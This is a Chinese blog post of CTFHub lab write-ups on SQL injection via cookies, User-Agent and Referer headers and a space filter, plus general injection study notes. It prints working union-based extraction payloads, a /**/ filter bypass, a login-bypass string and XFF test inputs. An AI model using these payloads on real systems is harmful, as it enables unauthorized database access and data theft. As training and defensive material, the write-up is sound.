• CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)


    Cookie注入

    Cookie 注入原理

                Cookie 注入的原理也和其他注入一样,只不过是将提交的参数以 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。
     

    应用

    一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。

    防御

    • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
    • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
    • 定期更新和修补应用程序以解决已知的安全漏洞。

    解题

    进入环境就得到这个页面

     F12+网络查看cookie,发现想要继续进行就要利用bp抓包进行注入

     

     接着开始注入,方法就是和盲注差不多,都是要进行判断爆破

    使用'and 1 = 1'进行测试,判断是否存在sql注入

     

     

     判断出存在sql注入且注入方式为整数型注入

    使用order by 判断字段数量,判断出字段数量为2列

     

     知道字段数量为2后,可以查看数据库位置,使用联合注入union select 1,2查看未发现数据

    判断数据可能不存在数据库中,在id=1中加入负号查看数据

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

     修改2为database(),查看数据库名,发现数据库版本为sqli

    查看全部数据库名

    -1 union select 1,group_concat(schema_name)from information_schema.schemata

    在全部数据库名中发现sqli,最后在sqli数据库中发现news和xavygzkmdt两个表名

    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

     

     先查看xavygzkmdt表中的全部字段名,发现一个数据名为sepimfwspx

    -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt'

     

    查看数据sepimfwspx中的内容,发现此题flag 

    -1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt

     ctfhub{6045c2d822a696ba66fa65ed}

    UA注入

    User Agent 注入概述

                User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
     

    解题

    进入环境得到

     要进行UA注入,可以用bp抓包进行注入,也可以使用浏览器插件hackbar进行注入

     先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型

     

    存在sql注入且还是整数型注入

    使用order by 判断字段数量

     

     从order by 1开始注入到 order by 3没有回显,证明字段数量为2列

    知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    判断数据可能不存在数据库中,将1改为-1查看数据

    修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    修改2为database(),查看数据库名,发现数据库版本为sqli

    查看全部数据库名

    -1 union select 1,group_concat(schema_name)from information_schema.schemata

    在全部数据库名中发现sqli,最后在sqli数据库中发现ycdkqyhwly和news两个表名

    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

     先查看ycdkqyhwly表中的全部字段名,发现一个数据名为vfkuxlgmjs

    -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'

     查看数据vfkuxlgmjs中的内容,发现此题flag

    -1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly

    ctfhub{0f980060810ed3b9edea3261}

    笔记

    UA注入原理

        UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
        UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

    防御

        对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
        确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
        使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
        最小化数据库用户的权限,确保数据库用户只能执行必要的操作。

            SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。

    联合注入的流程

    联合注入的过程

    1、判断注入点

    2、判断是闭合形式

    3、判断查询列数

    4、判断显示位

    5、获取所有数据库名

    6、获取数据库所有表名

    7、获取字段名 

    8、获取字段中的数据

     Refer注入

    Refer注入原理

        Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
        Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

     防御

        对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
        确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
        使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
        最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
        在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
     

     解题

    同样的cookie注入,UA注入,Refer注入都可以用浏览器插件hackbar进行注入,也可以用bp抓包更改信息进行注入,伪造cookie,UA,Refer发送请求而达到注入的目的。

    进入环境, F12启用hackbar插件

     先用1 and 1=1,判断是否存在sql注入及注入类型

     

     存在sql注入并且注入类型为整数型注入

    使用order by 判断字段数量

    1 order by 1
    

     

     

     

     知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    1 union select 1,2

     判断数据可能不存在数据库中,将1改为-1查看数据

    -1 union select 1,2

     修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

     修改2为database(),查看数据库名,发现数据库版本为sqli

     查看全部数据库名

    -1 union select 1,group_concat(schema_name)from information_schema.schemata

    在全部数据库名中发现sqli,最后在sqli数据库中发现ajlpvakrna和news两个表名

    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

     先查看ajlpvakrna表中的全部字段名,发现一个数据名为hjxducrloy

    -1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'

     查看数据hjxducrloy中的内容,发现此题flag

    -1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna

    过滤空格

    进入环境先输入1

    输入1 and 1=1,会报错

     进行过滤空格

    1/**/and/**/1/**/=/**/1

     存在sql注入且注入类型为整数型注入

    查询列数

    1/**/order/**/by/**/1

    到3的时候没有回显

     知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

    1/**/union/**/select/**/1,2
    

      判断数据可能不存在数据库中,将1改为-1查看数据

    -1/**/union/**/select/**/1,2
    

     修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

    -1/**/union/**/select/**/1,version()

     修改2为database(),查看数据库名,发现数据库版本为sqli

    -1/**/union/**/select/**/1,database()

     查看全部数据库名

    -1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

    在全部数据库名中发现sqli,最后在sqli数据库中发现htdxjvkudj和news两个表名

    -1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

     先查看htdxjvkudj表中的全部字段名,发现一个数据名为vklvjwstxw

    -1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'

     查看数据vklvjwstxw中的内容,发现此题flag

    -1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj

     ctfhub{89cb473f4f1e9c294f48fb4a}

    SQL注入总结笔记

    参考:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)_sql注入教程_网络安全-李彦暗的博客-CSDN博客

    SQL注入原理


    1.SQL注入概念及产生原因:

    当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。


    2.SQL注入的本质:

    把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
    3.SQL注入的两个关键点:

    1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
    SQL注入基础危害:
    )盗取网站的敏感信息;
    )绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
    )借助SQL注入漏洞提权获取系统权限;
    )读取文件信息。


    MYSQL数据库注入-常用函数:
    (1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本


    SQL(联合)注入流程:

    ?id=1 and 1=1


    1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
    2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

    union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

    5、获取表名

    union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

    6、获取字段名

    union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

    7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
    函数名称: 函数功能:

        查 库: select schema\_name from information\_schema.schema
        查 表: select table\_name from information\_schema.tables where table\_schema=库名
        查 列: select column\_name from information\_schema.columns where table\_name=表名
        查数据: select 列名 from 库名.表名

    总结--普通SQL注入必备条件:

    1、界面能够回显数据库查询到的数据(必要条件);
    2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
    3、部分能够直接提供数据库报错内容的回显;


    SQL注入思路


    1.判断注入点

    在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
    sql注入点类型

        get注入
        在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

        post注入
        通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

        有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

        Referer注入
        Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

        XFF注入
        在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
        burpsuite 抓包,提交输入检测语句:

        X-Forwarded-for: 127.0.0.1'and 1=1#
        X-Forwarded-for: 127.0.0.1'and 1=2#

    两次提交返回不一样,存在 SQL 注入漏洞
     UA注入
    输入点在User-Agent


    2.判断数据库类型

    判断网站使用的是哪个数据库,常见数据库如:
    MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

    在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
    目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。


    常用SQL注入判断数据库方法
    ● 使用数据库特有的函数来判断
    ● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
    ● 报错信息判断
    ● 数据库特性判断


    端口扫描

    如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
    Oracle
    默认端口号:1521
    SQL Server
    默认端口号:1433
    MySQL
    默认端口号:3306
    PostgreSql
    默认端口号:5432


    网站类型与数据库的联系

    asp:SQL Server,Access
    .net :SQL Server
    php:Mysql,PostgreSql
    java:Oracle,Mysql
    根据注释符判断

    “#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

    “null”和“%00”是Access支持的注释。

    “--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

    “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
     

  • 相关阅读:
    vue3组合式api的函数系列一
    Python 面试复习题整理
    uniapp离线打包SDK
    数字IC手撕代码-XX公司笔试真题(数据流最大值)
    栈:01背包问题(带价值) 栈解法/回溯算法 递归算法【C语言,数据结构】(内含源代码)
    【语言模型生成分子更好】Language models can learn complex molecular distributions
    day44 数据库查询命令
    【计算机基础】优雅的PPT就应该这样设计
    成就系统和任务系统的设计
    只要15分钟,轻松get费用报销系统
  • 原文地址:https://blog.csdn.net/qq_73861475/article/details/134471927